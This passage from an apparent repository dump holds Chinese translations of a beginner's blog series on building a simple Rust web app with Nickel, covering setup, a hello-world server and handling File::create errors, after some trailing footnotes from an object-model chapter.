Not, vol. 22, no. 12, pp. 156–162, 1987.↩\n\n2.  It seems that the attribute-based model is conceptually more complex, because it needs both method lookup and call. In practice, calling something is defined by looking up and calling a special attribute `__call__`, so conceptual simplicity is regained. This won't be implemented in this chapter, however.)↩\n\n3.  G. Kiczales, J. des Rivieres, and D. G. Bobrow, The Art of the Metaobject Protocol. Cambridge, Mass: The MIT Press, 1991.↩\n\n4.  A. Goldberg, Smalltalk-80: The Language and its Implementation. Addison-Wesley, 1983, page 61.↩\n\n5.  In Python the second argument is the class where the attribute was found, though we will ignore that here.↩\n\n6.  C. Chambers, D. Ungar, and E. Lee, “An efficient implementation of SELF, a dynamically-typed object-oriented language based on prototypes,” in OOPSLA, 1989, vol. 24.↩\n\n7.  How that works is beyond the scope of this chapter. I tried to give a reasonably readable account of it in a paper I wrote a few years ago. It uses an object model that is basically a variant of the one in this chapter: C. F. Bolz, A. Cuni, M. Fijałkowski, M. Leuschel, S. Pedroni, and A. Rigo, “Runtime feedback in a meta-tracing JIT for efficient dynamic languages,” in Proceedings of the 6th Workshop on Implementation, Compilation, Optimization of Object-Oriented Languages, Programs and Systems, New York, NY, USA, 2011, pp. 9:1–9:8.↩\n"
  },
  {
    "path": "TODO/a-simple-web-app-in-rust-conclusion.md",
    "content": "> * 原文地址：[A Simple Web App in Rust, Conclusion: Putting Rust Aside for Now](http://joelmccracken.github.io/entries/a-simple-web-app-in-rust-conclusion/)\n> * 原文作者：[Joel's Journal](http://joelmccracken.github.io/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/a-simple-web-app-in-rust-conclusion.md](https://github.com/xitu/gold-miner/blob/master/TODO/a-simple-web-app-in-rust-conclusion.md)\n> * 译者：[mysterytony](https://github.com/mysterytony)\n> * 校对者：[pthtc](https://github.com/pthtc)\n\n# 使用 Rust 开发一个简单的 Web 应用之总结篇：还是先把 Rust 放一边吧\n\n**警告：这篇文章充满了主见。虽然 Rust 社区可能不会很震惊，但我还是想列出这一系列。**\n\n多年前，我编辑过一系列以《Building a Simple Webapp in Rust》为标题的博客。我希望有一天能重新开始编辑，但是我没有，我甚至怀疑我能不能完成这一系列的创作 —— 现在来看，那个博客里几乎所有内容都是过时的。\n\n但不可忽视的是，这个项目还是成功的，因为我学到了很多关于 Rust 的知识。\n\n我最终还是停止了这个项目，也停止了学习 Rust 。为什么？简单来说，相比于其他互联网的领域，我开始怀疑 Rust 是否**对我来说**有足够的价值。对我来说有一点是很清楚的，那就是当需要对硬件和性能有严格控制的时候， Rust 是一个很不错的语言。如果给我一个有这些要求的项目，我肯定会重新使用 Rust 。当需要我在 Rust 和 C++ 中做出选择的话，我会选择 Rust 。\n\n但是，在大多数我写过的软件里，硬件管理通常不是一个很重要的因素。我也从来没有写过 C++ ，因为需要权衡开发时间，简洁性和可维护性才是最重要的因素。性能问题几乎总可以等到软件能正常工作之后再来处理，例如通过一些性能测试和聪明的优化。\n\n一个激励我继续研究 Rust 的原因是，有人说过 Rust 是对他们来说效率最高的语言，同时对一般程序员来说是也是效率最高的语言。其中的原因是，Rust 的 Ownership 机制让他们更多地思考代码，并在某些方面显著地改善着设计。但这个理由不足以让我对 Rust 倾注过多时间，还是把时间花在别的事上吧。\n\n总而言之，我决定还是学习其他东西比较好。特别是 Haskell （最初由 Elm 演变而来）以及其他对系统有很大影响的语言。\n\n—\n\n系列：用 Rust 做的简单网页\n\n* [部分 1](http://joelmccracken.github.io/entries/a-simple-web-app-in-rust-pt-1/)\n* [部分 2a](http://joelmccracken.github.io/entries/a-simple-web-app-in-rust-pt-2a/)\n* [部分 2b](http://joelmccracken.github.io/entries/a-simple-web-app-in-rust-pt-2b/)\n* [部分 3](http://joelmccracken.github.io/entries/a-simple-web-app-in-rust-pt-3/)\n* [部分 4](http://joelmccracken.github.io/entries/a-simple-web-app-in-rust-pt-4-cli-option-parsing/)\n* [总结](http://joelmccracken.github.io/entries/a-simple-web-app-in-rust-conclusion/)\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/a-simple-web-app-in-rust-pt-1.md",
    "content": "> * 原文地址：[A Simple Web App in Rust, Part 1](http://joelmccracken.github.io/entries/a-simple-web-app-in-rust-pt-1/)\n> * 原文作者：[Joel's Journal](http://joelmccracken.github.io/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/a-simple-web-app-in-rust-pt-1.md](https://github.com/xitu/gold-miner/blob/master/TODO/a-simple-web-app-in-rust-pt-1.md)\n> * 译者：[LeopPro](https://github.com/LeopPro)\n> * 校对者：[pthtc](https://github.com/pthtc) [hippyk](https://github.com/hippyk)\n\n# 使用 Rust 开发一个简单的 Web 应用，第 1 部分\n\n## 1 简介 & 背景\n\n站在一个经验丰富但刚接触本生态系统的开发者的角度，使用 Rust 开发一个小型的 Web 应用是什么感觉呢？请继续阅读。\n\n我第一次听说 Rust 的时候就对它产生了兴趣。一个支持宏的系统级语言，并且在高级抽象方面有成长空间。真棒！\n\n到目前为止，我只写过关于 Rust 的博客，做了一些很基础的“Hello World”级程序。所以，我估计我的观点会欠一些火候。\n\n不久之前，我看见了关于学习 Racket 的[这篇文章](http://artyom.me/learning-racket-1)，我觉得特别好。我们需要更多的人分享他们作为技术初学者时获得的经验，尤其是那些已经有相当丰富的技术经验的人[1](#fn.1)。我也非常喜欢它的“思维流”方法。我想，像这样写一个 Rust 教程，应该是一个非常好的尝试。\n\n好了，前言说完了，我们开始吧！\n\n## 2 应用\n\n我想构建的应用要实现我的一个简单需求：用一种无脑的方式记录我每天服药时间。我想我点一下主屏幕上的链接，让它记录这次访问，并且这将会储存为一份我服药时间的记录。\n\nRust 似乎很适合这个应用。它速度快，运行一个简单的服务器消耗的资源特别少，所以它不会对我的 VPS 造成负担。我还想用 Rust 做一些更实际的事。\n\n最小可行性版本非常小巧，但如果我想添加更多功能，它也有增长空间。听起来完美！\n\n## 3 计划\n\n我不得不承认一件事：我弄丢了这个项目的早期版本，这将产生以下弊端：当我重现它的时候，我并不会有几周前刚刚接触它的时候那种陌生感。然而，我想我仍然记得当时让我痛苦的地方，并且我会尽力重现这些难点。\n\n我知道一个道理有必要在这里讲一下：对于一个独立的个人程序来说，利用现有 API 要比试着独立完成所有的工作容易得多。\n\n为了达成目的，我制定了如下计划：\n\n1. 构建一个简单的 Web 服务器，当我访问他的时候它能在屏幕上显示“Hello World”。\n2. 构建一个小型程序，每当他运行的时候，它会按照一定格式记录当前时间。\n3. 将上面两个整合到一个程序中。\n4. 将此应用程序部署到我的 Digital Ocean VPS 上。\n\n## 4 编写一个“Hello World” Web 应用\n\n所以，我要建立一个新的 Git 仓库 & 装好 homebrew。我至少知道，我先要安装 Rust。\n\n### 4.1 安装 Rust\n\n```\n$ brew update\n...\n$ brew install rust\n==> Downloading https://homebrew.bintray.com/bottles/rust-1.0.0.yosemite.bottle.tar.gz\n############################################################ 100.0%\n==> Pouring rust-1.0.0.yosemite.bottle.tar.gz\n==> Caveats\nBash completion has been installed to:\n  /usr/local/etc/bash_completion.d\n\nzsh completion has been installed to:\n  /usr/local/share/zsh/site-functions\n==> Summary\n   /usr/local/Cellar/rust/1.0.0: 13947 files, 353M\n```\n\nOk，在开始之前，我们先写一个常规的“Hello World”程序。\n\n```\n$ cat > hello_world.rs\nfn main() {\n\n        println!(\"hello world\");\n}\n^D\n$ rustc hello_world.rs\n$ ./hello_world\nhello world\n$\n```\n\n到目前为止一切顺利。Rust 正常工作了，或者至少说，Rust 的编译器在正常工作。\n\n有位朋友建议我尝试使用 [nickle.rs](http://nickel-org.github.io/)，那是 Rust 的 一个 Web 应用框架。我觉得不错。\n\n截止到今天，它的第一个示例是：\n\n```\n#[macro_use] extern crate nickel;\n\nuse nickel::Nickel;\n\nfn main() {\n    let mut server = Nickel::new();\n\n    server.utilize(router! {\n        get \"**\" => |_req, _res| {\n            \"Hello world!\"\n        }\n    });\n\n    server.listen(\"127.0.0.1:6767\");\n}\n```\n\n我第一次做这些的时候，我有一点小分心，去学了一点 Cargo。这次我注意到了这个[入门指南](http://nickel-org.github.io/getting-started.html)，所以我打算跟着它走而不是什么都靠自己误打误撞。\n\n这里有一个脚本，我应该通过 `curl` 下载然后使用 root 权限执行。但是“患有强迫症的”我打算先把脚本下载下来检查一下。\n\n`curl -LO https://static.rust-lang.org/rustup.sh`\n\n\nOk，这事实上并不像我预想的那样，这个脚本完成了很多工作，大部分都是我现在不想自己去做的。而我很想知道，`cargo` 是不是用 `rustc` 来安装的？\n\n```\n$ which cargo\n/usr/local/bin/cargo\n$ cargo -v\nRust 包管理器\n\n用法:\n    cargo <命令> [<参数>...]\n    cargo [选项]\n\n选项:\n    -h, --help       显示帮助信息\n    -V, --version    显示版本信息并退出\n    --list           安装命令列表\n    -v, --verbose    使用详细的输出\n\n常见的 cargo 命令:\n    build       编译当前工程\n    clean       删除目标目录\n    doc         编译此工程及其依赖项文档\n    new         创建一个新的 cargo 工程\n    run         编译并执行 src/main.rs\n    test        运行测试\n    bench       运行基准测试\n    update      更新 Cargo.lock 中的依赖项\n    search      搜索注册过的 crates\n\n执行 'cargo help <command>' 获取指定命令的更多帮助信息。\n```\n\nOk，我猜这看起来不错吧？我现在就开始用它。\n\n`$ rm rustup.sh`\n\n### 4.2 设置工程\n\n下一步是生成一个新的项目目录，但是我已经有了一个项目目录。不管怎样，我还是要试一试。\n\n```\n$ cargo new . --bin\n目标 `/Users/joel/Projects/simplelog/.` 已经存在\n```\n\n嗯……它不工作。\n\n```\n$ cargo -h\n在 <路径> 处创建一个新的 Cargo 包。\n\n用法:\n    cargo new [选项] <路径>\n    cargo new -h | --help\n\n选项:\n    -h, --help          显示帮助信息\n    --vcs <vcs>         为指定的版本管理系统（git 或 hg）\n                        初始化一个新仓库\n                        或者不使用版本管理系统（none）\n    --bin               创建可执行文件工程而不是库工程\n    --name <name>       设置结果包名\n    -v, --verbose       使用详细的输出\n```\n\n> 上述代码第一行中 `cargo -h` 应为作者笔误，实为 `cargo new -h`。（译者注）\n\n嗯，它似乎不会按照我的预想去工作，我需要重建这个仓库。\n\n```\n$ cd ../\n$ rm -rf simplelog/\n$ cargo new simple-log --bin\n$ cd simple-log/\n```\n\nOk，我们看看这里有什么？\n\n```\n$ tree\n.\n|____.git\n| |____config\n| |____description\n| |____HEAD\n| |____hooks\n| | |____README.sample\n| |____info\n| | |____exclude\n| |____objects\n| | |____info\n| | |____pack\n| |____refs\n| | |____heads\n| | |____tags\n|____.gitignore\n|____Cargo.toml\n|____src\n| |____main.rs\n```\n\n看，它建立了一个 Git 仓库，`Cargo.toml` 文件和在 `src` 目录中的 `main.rs` 文件，看起来不错。\n\n根据 Nickel 的入门指南，我向 `Cargo.toml` 文件中加入 `nickel.rs` 依赖，现在它看起来像是这样：\n\n```\n[package]\nname = \"simple-log\"\nversion = \"0.1.0\"\nauthors = [\"Joel McCracken <mccracken.joel@gmail.com>\"]\n\n[dependencies.nickel]\n\ngit = \"https://github.com/nickel-org/nickel.rs.git\"\n```\n\n我觉得这很容易理解。然而我不确定 `dependencies.nickel` 实际的**含义**是什么。`dependencies` 是一个带有 `nickel` 键的哈希值么？但可以肯定的是，我们已经在工程中引进 Nickel 了，真棒!\n\n\n\n### 4.3 运行“Hello World”例子\n\n管他呢，我把那个例子复制到 `main.rs` 中：\n\n```\n#[macro_use] extern crate nickel;\n\nuse nickel::Nickel;\n\nfn main() {\n    let mut server = Nickel::new();\n\n    server.utilize(router! {\n        get \"**\" => |_req, _res| {\n            \"Hello world!\"\n        }\n    });\n\n    server.listen(\"127.0.0.1:6767\");\n}\n```\n\n啥？`macro_use`、`extern` 都是什么东西？为什么要用 `use`？这些疑问我会在下面一一解答。\n\n这里我有一些疑问，`macro_use` 似乎是一个宏指令[2](#fn.2)，但是我没有看到任何宏调用，所以我删除了它。然而现在我注意到了 `router!`，因此我更加倾向于这是一个宏指令。同时，我怀疑用`指令`一词来指代是否恰当，因此别太肯定。\n\n我们试一下：\n\n```\ncargo run\n    Updating git repository `https://github.com/nickel-org/nickel.rs.git`\n    Updating registry `https://github.com/rust-lang/crates.io-index`\n Downloading unsafe-any v0.4.1\n Downloading httparse v0.1.2\n Downloading traitobject v0.0.3\n Downloading lazy_static v0.1.10\n Downloading pkg-config v0.3.4\n Downloading num_cpus v0.2.5\n Downloading modifier v0.1.0\n Downloading groupable v0.2.0\n Downloading unicase v0.1.0\n Downloading gcc v0.3.5\n Downloading time v0.1.25\n Downloading log v0.3.1\n Downloading url v0.2.34\n Downloading plugin v0.2.6\n Downloading hyper v0.4.0\n Downloading matches v0.1.2\n Downloading mustache v0.6.1\n Downloading bitflags v0.1.1\n Downloading typeable v0.1.1\n Downloading openssl v0.6.2\n Downloading rustc-serialize v0.3.14\n Downloading typemap v0.3.2\n Downloading regex v0.1.30\n Downloading cookie v0.1.20\n Downloading mime v0.0.11\n Downloading libc v0.1.8\n Downloading openssl-sys v0.6.2\n   Compiling modifier v0.1.0\n   Compiling traitobject v0.0.3\n   Compiling regex v0.1.30\n   Compiling libc v0.1.8\n   Compiling lazy_static v0.1.10\n   Compiling matches v0.1.2\n   Compiling httparse v0.1.2\n   Compiling rustc-serialize v0.3.14\n   Compiling groupable v0.2.0\n   Compiling pkg-config v0.3.4\n   Compiling gcc v0.3.5\n   Compiling bitflags v0.1.1\n   Compiling unicase v0.1.0\n   Compiling typeable v0.1.1\n   Compiling unsafe-any v0.4.1\n   Compiling log v0.3.1\n   Compiling num_cpus v0.2.5\n   Compiling typemap v0.3.2\n   Compiling mime v0.0.11\n   Compiling plugin v0.2.6\n   Compiling openssl-sys v0.6.2\n   Compiling time v0.1.25\n   Compiling openssl v0.6.2\n   Compiling url v0.2.34\n   Compiling mustache v0.6.1\n   Compiling cookie v0.1.20\n   Compiling hyper v0.4.0\n   Compiling nickel v0.5.0 (https://github.com/nickel-org/nickel.rs.git#69546f58)\n   Compiling simple-log v0.1.0 (file:///Users/joel/Projects/simple-log)\n     Running `target/debug/simple-log`\nListening on http://127.0.0.1:6767\nCtrl-C to shutdown server\n^C\n```\n\n哦吼！我的浏览器中 `localhost:6767` 的访问成功啦！\n\n### 4.4 最终挑战\n\nOk，现在我想尝试一件事情，然后今晚就收工：我可以将“Hello World”移动到它自己的函数中么？毕竟我们现在是婴儿学步的阶段。\n\n```\nfn say_hello() {\n    \"Hello dear world!\";\n}\n\nfn main() {\n    let mut server = Nickel::new();\n\n    server.utilize(router! {\n        get \"**\" => |_req, _res| {\n            say_hello();\n        }\n    });\n\n    server.listen(\"127.0.0.1:6767\");\n}\n```\n\n错误……当我这次运行的时候，我看到了“未找到”。我们这次把分号去掉，以防万一：\n\n```\nfn say_hello() {\n    \"Hello dear world!\"\n}\n\nfn main() {\n    let mut server = Nickel::new();\n\n    server.utilize(router! {\n        get \"**\" => |_req, _res| {\n            say_hello()\n        }\n    });\n\n    server.listen(\"127.0.0.1:6767\");\n}\n```\n\n好吧……现在编译器报出了不同的错误信息：\n\n```\n$ cargo run\n   Compiling simple-log v0.1.0 (file:///Users/joel/Projects/simple-log)\nsrc/main.rs:6:5: 6:24 错误：不匹配的类型：\n    预期 `()`,\n    找到 `&'static str`\n   (预期 (),\n    找到 &-ptr) [E0308]\nsrc/main.rs:6     \"Hello dear world!\"\n                  ^~~~~~~~~~~~~~~~~~~\n错误：由于先前的错误而中止\n不能编译 `simple-log`。\n\n想查看更多信息，请加上 --verbose 重新运行命令。\n```\n\n根据报错信息，我**猜测**分号的有无是重要的。现在这产生了一个类型错误。哦，我有九成的把握肯定这里的 `()` 指的是“unit”，这是 Rust 中的空、未定义、或者未规定。我知道这不完全对，但是我想这是讲得通的。\n\n我**假设** Rust 会做类型推断。编译器没这么做吗？还是只在函数边界附近没有做？嗯……\n\n错误信息告诉我，编译器希望函数的返回值是“unit”，但是实际上返回值是一个静态字符串（这是啥？）。我已经看过函数返回值的语法了，我们看一看：\n\n```\n#[macro_use] extern crate nickel;\n\nuse nickel::Nickel;\n\nfn say_hello() -> &'static str {\n    \"Hello dear world!\"\n}\n\nfn main() {\n    let mut server = Nickel::new();\n\n    server.utilize(router! {\n        get \"**\" => |_req, _res| {\n            say_hello()\n        }\n    });\n\n    server.listen(\"127.0.0.1:6767\");\n}\n```\n\n在我看来 `&'static str` 类型非常的怪异。它会成功编译么？它会正常工作么？\n\n```\n$ cargo run &\n[1] 14997\nRunning `target/debug/simple-log`\nListening on http://127.0.0.1:6767\nCtrl-C to shutdown server\n$ curl http://localhost:6767\nHello dear world!\n$ fg\ncargo run\n^C\n```\n\n耶，它工作了！这一次 Rust 没有令人失望。我不知道是不是因为我对这些工具更熟悉了，还是我选择去多看文档，但是我乐在其中。**读**一门语言和**写**一门语言之间的差别非常的惊奇。虽然我理解这些代码示例，但是我仍然不能高效的编辑它们。\n\n—\n\n在下一章中，我们将完成当前日期写入文件的过程。你可以在[这里](https://github.com/xitu/gold-miner/blob/master/TODO/a-simple-web-app-in-rust-pt-2a.md)阅读它。\n\n—\n\n系列文章：使用 Rust 开发一个简单的 Web 应用\n\n* [Part 1](https://github.com/xitu/gold-miner/blob/master/TODO/a-simple-web-app-in-rust-pt-1.md)\n* [Part 2a](https://github.com/xitu/gold-miner/blob/master/TODO/a-simple-web-app-in-rust-pt-2a.md)\n* [Part 2b](https://github.com/xitu/gold-miner/blob/master/TODO/a-simple-web-app-in-rust-pt-2b.md)\n* [Part 3](https://github.com/xitu/gold-miner/blob/master/TODO/a-simple-web-app-in-rust-pt-3.md)\n* [Part 4](https://github.com/xitu/gold-miner/blob/master/TODO/a-simple-web-app-in-rust-pt-4-cli-option-parsing.md)\n* [Conclusion](https://github.com/xitu/gold-miner/blob/master/TODO/a-simple-web-app-in-rust-conclusion.md)\n\n## 脚注:\n\n[1](#fnr.1) 我并不是想说，初学者的经验是没有价值的 —— 远非如此！我认为相比于经验丰富者而言，初学者经常会带来一些独到的见解，他们可能会注意到生态系统中的某些东西是非标准的。\n\n[2](#fnr.2) 我通常说编译期指令，但是这对于 Rust 这样一个编译语言来说没太大意义。所以除了宏指令以外，我不知道该如何表述它了。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/a-simple-web-app-in-rust-pt-2a.md",
    "content": "> * 原文地址：[A Simple Web App in Rust, Part 2a](http://joelmccracken.github.io/entries/a-simple-web-app-in-rust-pt-2a/)\n> * 原文作者：[Joel's Journal](http://joelmccracken.github.io/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/a-simple-web-app-in-rust-pt-2a.md](https://github.com/xitu/gold-miner/blob/master/TODO/a-simple-web-app-in-rust-pt-2a.md)\n> * 译者：[LeopPro](https://github.com/LeopPro)\n\n# 使用 Rust 开发一个简单的 Web 应用，第 2a 部分\n\n## 1 来龙去脉\n\n如果你还没看过这个系列的第一部分，请从[这里](http://joelmccracken.github.io/entries/a-simple-web-app-in-rust-pt-1)开始。\n\n在第一部分，我们成功的创建了一个 Rust 工程并且编写了一个“Hello World” Web 应用。\n\n起初，在这个部分中我想写一个可以将日期写入文件系统的程序。但是在这个过程中，我和类型检查斗争了好久，所以这个部分主要写这个。\n\n## 2 开始\n\n上一次还不算太糟。但当我之前做这部分的时候，我记得这是最难的部分。\n\n让我们从移动已存在的 `main.rs` 开始，这样我们就可以使用一个新文件。\n\n```\n$ pwd\n/Users/joel/Projects/simple-log\n$ cd src/\n$ ls\nmain.rs\n$ mv main.rs web_main.rs\n$ touch main.rs\n```\n\n## 3 回忆“Hello World”\n\n我可以不借助任何参考独立写出“Hello World”么？\n\n让我试试：\n\n```\nfn main() {\n    println!(\"Hello, world\");\n}\n```\n\n然后：\n\n```\n$ cargo run\n   Compiling simple-log v0.1.0 (file:///Users/joel/Projects/simple-log)\n     Running `target/debug/simple-log`\nHello, world\n```\n\n哦，我想我还记得它。我只是有一点不太肯定，我是否需要为 `println!` 导入些什么，现在看来，这是不必要的。\n\n## 4 天真的方法\n\n好了，继续。上网搜索“Rust 创建文件”，我找到了 `std::fs::File`：[https://doc.rust-lang.org/std/fs/struct.File.html](https://doc.rust-lang.org/std/fs/struct.File.html)。让我们来试试一个例子：\n\n```\nuse std::fs::File;\n\nfn main() {\n    let mut f = try!(File::create(\"foo.txt\"));\n}\n```\n\n编译：\n\n```\n$ cargo run\n   Compiling simple-log v0.1.0 (file:///Users/joel/Projects/simple-log)\n<std macros>:5:8: 6:42 error: mismatched types:\n expected `()`,\n    found `core::result::Result<_, _>`\n(expected (),\n    found enum `core::result::Result`) [E0308]\n<std macros>:5 return $ crate:: result:: Result:: Err (\n<std macros>:6 $ crate:: convert:: From:: from ( err ) ) } } )\n<std macros>:1:1: 6:48 note: in expansion of try!\nsrc/main.rs:5:17: 5:46 note: expansion site\nerror: aborting due to previous error\nCould not compile `simple-log`.\n```\n\n当我编写第一个版本的时候，解决这个错误真是花费了我很多时间。我不再经常活跃于社区，所以这些问题的解决方案可能是比较粗糙的。弄清楚这个问题给我留下了深刻的印象，所以我马上就知道答案了。\n\n上面代码的问题是 `try!` 宏的展开代码在出现错误的情况下返回 `Err` 类型。然而 `main` 返回单元类型（`()`）[1](#fn.1)，这会导致一个类型错误。\n\n我认为有三点难以理解：\n\n1. 在这一点上，我不是很确定要如何理解错误信息。'expected' 和 'found'都指什么？我知道答案之后，我明白 'expected' 指的是 `main` 的返回值，我可以清楚的明白 'expected' 和 'found'。\n2. 于我而言，查阅[文档](https://doc.rust-lang.org/std/macro.try!.html)并没有让我立刻明白 `try!` 是如何影响调用它的函数返回值的。当然，我应该查阅 `return` 在宏中的定义。然而，当我找到一个在 [Rust 文档](http://doc.rust-lang.org/stable/book/) 中的评论时，我才明白在这个例子中为什么 `try!` 不能在 `main` 中调用。\n3. 这个错误事实上可以在宏中体现。我当时没明白，但 Rust 编译器可以输出经过宏扩展后的源代码。这个功能让这类问题易于调试。\n\n在第三点中，我们提到了扩展宏。查阅扩展宏是调试这类问题非常有效的方法，这值得我们深究。\n\n## 5 调试扩展宏\n\n首先，我通过搜索“Rust 扩展宏”查阅到这些代码：\n\n```\nuse std::fs::File;\n\nfn main() {\n    let mut f = try!(File::create(\"foo.txt\"));\n}\n```\n\n……我们可以通过这种方式使编译器输出宏扩展：\n\n```\n$ rustc src/main.rs --pretty=expanded -Z unstable-options\n#![feature(no_std)]\n#![no_std]\n#[prelude_import]\nuse std::prelude::v1::*;\n#[macro_use]\nextern crate std as std;\nuse std::fs::File;\n\nfn main() {\n    let mut f =\n        match File::create(\"foo.txt\") {\n            ::std::result::Result::Ok(val) => val,\n            ::std::result::Result::Err(err) => {\n                return ::std::result::Result::Err(::std::convert::From::from(err))\n            }\n        };\n}\n```\n\n这次就易于调试了。宏是非常有效的工具，但是同其他工具一样，我们要知道何时、怎样使用它们。\n\n看看吧，上面输出中的 `return` 定义，问题就出在这里。它尝试返回一个 `Err` 结果，但是 `main` 函数期望得到一个单元类型。\n\n## 6 和类型斗争\n\n我要知道如何解决这个类型问题。我尝试模仿 `try!` 宏，但是这次只返回单元类型：\n\n```\nuse std::fs::File;\n\nfn main() {\n    match File::create(\"foo.txt\") {\n        Ok(val) => val,\n        Err(err) => ()\n    }\n}\n```\n\n运行：\n\n```\n$ cargo run\n   Compiling simple-log v0.1.0 (file:///Users/joel/Projects/simple-log)\nsrc/main.rs:5:5: 8:6 error: match arms have incompatible types:\n expected `std::fs::File`,\n    found `()`\n(expected struct `std::fs::File`,\n    found ()) [E0308]\nsrc/main.rs:5     match File::create(\"foo.txt\") {\nsrc/main.rs:6         Ok(val) => val,\nsrc/main.rs:7         Err(err) => ()\nsrc/main.rs:8     }\nsrc/main.rs:7:21: 7:23 note: match arm with an incompatible type\nsrc/main.rs:7         Err(err) => ()\n                                  ^~\nerror: aborting due to previous error\nCould not compile `simple-log`.\n```\n\n我不知道该如何表述，“这里不应该做任何事”。我猜 `val` 一定是 `std::fs::File` 类型，所以编译器推断 `match`的**所有**分支都应该返回它。我可以令 `Ok` 分支也不返回任何东西么？\n\n```\nuse std::fs::File;\n\nfn main() {\n    match File::create(\"foo.txt\") {\n        Ok(val) => (),\n        Err(err) => ()\n    }\n}\n```\n\n运行：\n\n```\n$ cargo run\n   Compiling simple-log v0.1.0 (file:///Users/joel/Projects/simple-log)\nsrc/main.rs:6:12: 6:15 warning: unused variable: `val`, #[warn(unused_variables)] on by default\nsrc/main.rs:6         Ok(val) => (),\n                         ^~~\nsrc/main.rs:7:13: 7:16 warning: unused variable: `err`, #[warn(unused_variables)] on by default\nsrc/main.rs:7         Err(err) => ()\n                          ^~~\n     Running `target/debug/simple-log`\n$ ls\nCargo.lock      Cargo.toml      foo.txt         src             target\n```\n\n它创建了 `foo.txt`！当然，代码可以更优雅，但是它现在很不错。让我们试试其他的方法：\n\n```\nuse std::fs::File;\n\nfn main() {\n    File::create(\"foo.txt\")\n}\n```\n\n=>\n\n```\n$ rm foo.txt\n$ cargo run\n   Compiling simple-log v0.1.0 (file:///Users/joel/Projects/simple-log)\nsrc/main.rs:5:5: 5:28 error: mismatched types:\n expected `()`,\n    found `core::result::Result<std::fs::File, std::io::error::Error>`\n(expected (),\n    found enum `core::result::Result`) [E0308]\nsrc/main.rs:5     File::create(\"foo.txt\")\n                  ^~~~~~~~~~~~~~~~~~~~~~~\nerror: aborting due to previous error\nCould not compile `simple-log`.\n\nTo learn more, run the command again with --verbose.\n```\n\n我之前看到过这个。它的意思是 `main` 函数返回了 `File::create` 的结果。我想，这里不应该返回任何东西，但是我没有往这个方向思考。如果我添加一个分号呢？\n\n```\nuse std::fs::File;\n\nfn main() {\n    File::create(\"foo.txt\");\n}\n```\n\n=>\n\n```\n$ rm foo.txt\n$ cargo run\n   Compiling simple-log v0.1.0 (file:///Users/joel/Projects/simple-log)\nsrc/main.rs:5:5: 5:29 warning: unused result which must be used, #[warn(unused_must_use)] on by default\n\nsrc/main.rs:5     File::create(\"foo.txt\");\n                  ^~~~~~~~~~~~~~~~~~~~~~~~\n     Running `target/debug/simple-log`\n$ ls\nCargo.lock      Cargo.toml      foo.txt         src             target\n```\n\n好了，我们成功运行且创建了文件，但是现在有一个“未使用的结果”警告。让我们去做点什么来处理这个结果：\n\n```\nuse std::fs::File;\n\nfn main() {\n    match File::create(\"foo.txt\") {\n        Ok(val) => println!(\"File created!\"),\n        Err(err) => println!(\"Error: could not create file.\")\n    }\n}\n```\n\n=>\n\n```\n$ rm foo.txt\n$ cargo run\n   Compiling simple-log v0.1.0 (file:///Users/joel/Projects/simple-log)\nsrc/main.rs:6:12: 6:15 warning: unused variable: `val`, #[warn(unused_variables)] on by default\nsrc/main.rs:6         Ok(val) => println!(\"File created!\"),\n                         ^~~\nsrc/main.rs:7:13: 7:16 warning: unused variable: `err`, #[warn(unused_variables)] on by default\nsrc/main.rs:7         Err(err) => println!(\"Error: could not create file.\")\n                          ^~~\n     Running `target/debug/simple-log`\nFile created!\n```\n\n现在出现了未使用的变量警告。我的直觉是，我们可以使用省略号或删除变量名来解决这个问题：\n\n```\nuse std::fs::File;\n\nfn main() {\n    match File::create(\"foo.txt\") {\n        Ok(..) => println!(\"File created!\"),\n        Err(..) => println!(\"Error: could not create file.\")\n    }\n}\n```\n\n=>\n\n```\ncargo run\n   Compiling simple-log v0.1.0 (file:///Users/joel/Projects/simple-log)\n     Running `target/debug/simple-log`\nFile created!\n```\n\n看，使用省略号可行，那么如果我删除省略号会发生什么？\n\n```\n$ cargo run\n   Compiling simple-log v0.1.0 (file:///Users/joel/Projects/simple-log)\nsrc/main.rs:6:12: 6:13 error: nullary enum variants are written with no trailing `( )`\nsrc/main.rs:6         Ok() => println!(\"File created!\"),\n                         ^\nsrc/main.rs:7:13: 7:14 error: nullary enum variants are written with no trailing `( )`\nsrc/main.rs:7         Err() => println!(\"Error: could not create file.\")\n                          ^\nerror: aborting due to 2 previous errors\nCould not compile `simple-log`.\n```\n\n这和我预想的不一样。我猜测“nullary”的意思是空元组，它需要被删除。如果我把括号删掉：\n\n```\n$ cargo run\n   Compiling simple-log v0.1.0 